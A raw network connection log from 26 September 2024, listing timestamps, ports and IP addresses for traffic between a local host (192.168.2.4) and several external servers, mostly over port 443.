Sep 26, 2024 19:05:26.398233891 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.398494005 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.399019003 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.399251938 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.399777889 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.399904013 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.400708914 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.400819063 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.441622019 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.441706896 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.646538019 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.646611929 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.646672010 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.646688938 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.646740913 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.646765947 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.647095919 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.647247076 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.647525072 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.647763014 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.648025036 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.648147106 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.648317099 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.648416042 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.648937941 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.649095058 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.649413109 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.649626017 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.649710894 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.649830103 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.650340080 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.650403976 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.650615931 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.650757074 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.651304960 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.651598930 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.651604891 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.651612997 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.651671886 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.678586006 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.678723097 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.733418941 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.733563900 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.733726978 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.733869076 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.733877897 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.734859943 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.884305954 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.884388924 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.884551048 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.884675980 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.884785891 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.884946108 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.884988070 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885000944 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.885040998 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885364056 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.885406971 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885412931 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.885446072 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885695934 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.885751963 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885759115 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.885816097 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885823965 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.885931969 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.886010885 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.886178970 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.886324883 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.889372110 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.889556885 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.889594078 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.889684916 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.889849901 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.890027046 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.890187979 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.890402079 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.890419960 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.890425920 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.890480995 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.890480995 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.890657902 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.890734911 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.890877962 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.891000986 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.891108036 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.891206026 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.971278906 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.971369982 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.971434116 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.971646070 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.971692085 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.971823931 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.972688913 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.972707987 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:27.058932066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:27.059822083 CEST	49742	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:27.063955069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:27.064765930 CEST	80	49742	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:27.065001011 CEST	49742	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:27.065437078 CEST	49742	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:27.070341110 CEST	80	49742	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:29.213241100 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.213270903 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:29.213747025 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.237848997 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.237868071 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:29.727447033 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:29.727536917 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.732192993 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.732203960 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:29.732614994 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:29.809175968 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.864279985 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.864398956 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:29.864510059 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:30.317325115 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:30.317632914 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:30.317708969 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:30.346098900 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:30.346117973 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:30.346153021 CEST	49744	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:30.346158981 CEST	443	49744	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:30.367080927 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.367099047 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:30.367165089 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.367579937 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.367593050 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:30.836776972 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:30.836869955 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.841301918 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.841320992 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:30.841718912 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:30.852974892 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.853003979 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:30.853152037 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:31.299088001 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:31.299220085 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:31.299360037 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:31.300036907 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:31.300036907 CEST	59733	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:05:31.300055027 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:31.300060987 CEST	443	59733	104.21.4.136	192.168.2.4
Sep 26, 2024 19:05:31.301908970 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.301975012 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:31.303780079 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.304675102 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.304708958 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:31.772334099 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:31.772519112 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.784888983 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.784912109 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:31.785904884 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:31.796132088 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.796132088 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:31.796335936 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:32.338102102 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:32.338324070 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:32.338397026 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:32.338540077 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:32.338561058 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:32.338571072 CEST	59734	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:32.338578939 CEST	443	59734	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:32.359000921 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.359054089 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:32.359128952 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.359529018 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.359551907 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:32.839802027 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:32.839987040 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.841892958 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.841907978 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:32.842403889 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:32.843880892 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.843909025 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:32.843977928 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:33.277784109 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:33.278028965 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:33.278151989 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:33.278347969 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:33.278378010 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:33.278451920 CEST	59735	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:05:33.278460979 CEST	443	59735	188.114.97.3	192.168.2.4
Sep 26, 2024 19:05:33.317914009 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.317955971 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:33.318021059 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.318439960 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.318454981 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:33.790508032 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:33.790594101 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.792311907 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.792323112 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:33.792747021 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:33.794187069 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.794212103 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:33.794271946 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:34.980562925 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:34.980664015 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:34.980916023 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:34.980971098 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:34.980989933 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:34.980999947 CEST	59736	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:34.981005907 CEST	443	59736	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:35.013056993 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.013102055 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:35.013180017 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.013638973 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.013658047 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:35.538301945 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:35.538403034 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.540088892 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.540103912 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:35.540405035 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:35.541904926 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.541923046 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:35.541975975 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:36.049340010 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:36.049649000 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:36.049734116 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:36.063616991 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:36.063684940 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:36.063730001 CEST	59737	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:05:36.063766003 CEST	443	59737	172.67.162.108	192.168.2.4
Sep 26, 2024 19:05:36.086332083 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.086405993 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:36.087018013 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.087302923 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.087342978 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:36.552580118 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:36.552715063 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.554255009 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.554274082 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:36.554527998 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:36.556025982 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.556042910 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:36.556094885 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.031630993 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.031738043 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.032246113 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.032454967 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.032486916 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.032501936 CEST	59738	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.032507896 CEST	443	59738	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.056232929 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.056288958 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.056386948 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.057151079 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.057168961 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.555233955 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.555315971 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.556994915 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.557007074 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.557400942 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:37.558876038 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.558897972 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:37.558976889 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:38.008780956 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:38.008908033 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:38.009577990 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:38.009721041 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:38.009742975 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:38.009753942 CEST	59739	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:05:38.009759903 CEST	443	59739	188.114.96.3	192.168.2.4
Sep 26, 2024 19:05:38.031924963 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.031970978 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.032459021 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.032919884 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.032932043 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.538079023 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.538167953 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.540205956 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.540216923 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.540630102 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.542071104 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.542113066 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.542155981 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.979774952 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.979893923 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.979960918 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.980197906 CEST	59740	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:05:38.980228901 CEST	443	59740	172.67.208.139	192.168.2.4
Sep 26, 2024 19:05:38.990720987 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:38.990780115 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:38.990845919 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:38.991887093 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:38.991911888 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:39.735924959 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:39.736031055 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:39.737940073 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:39.737962008 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:39.738306046 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:39.739654064 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:39.787414074 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.230855942 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.230901003 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.230921030 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.230931044 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.230961084 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.230983019 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.230983019 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.231007099 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.323486090 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.323551893 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.323590040 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.323602915 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.323649883 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.324196100 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.328861952 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.328933001 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.328943014 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.329003096 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.329047918 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.329106092 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.373856068 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.373889923 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.373902082 CEST	59741	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:05:40.373908043 CEST	443	59741	104.102.49.254	192.168.2.4
Sep 26, 2024 19:05:40.870590925 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:40.870630980 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:40.870786905 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:40.871324062 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:40.871337891 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.343552113 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.343662024 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:41.345484972 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:41.345494986 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.345822096 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.347119093 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:41.347131968 CEST	59742	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:05:41.347338915 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.779272079 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.779539108 CEST	443	59742	104.21.2.13	192.168.2.4
Sep 26, 2024 19:05:41.779961109 CEST	59742	443	192.168.2.4	104.21.2.13
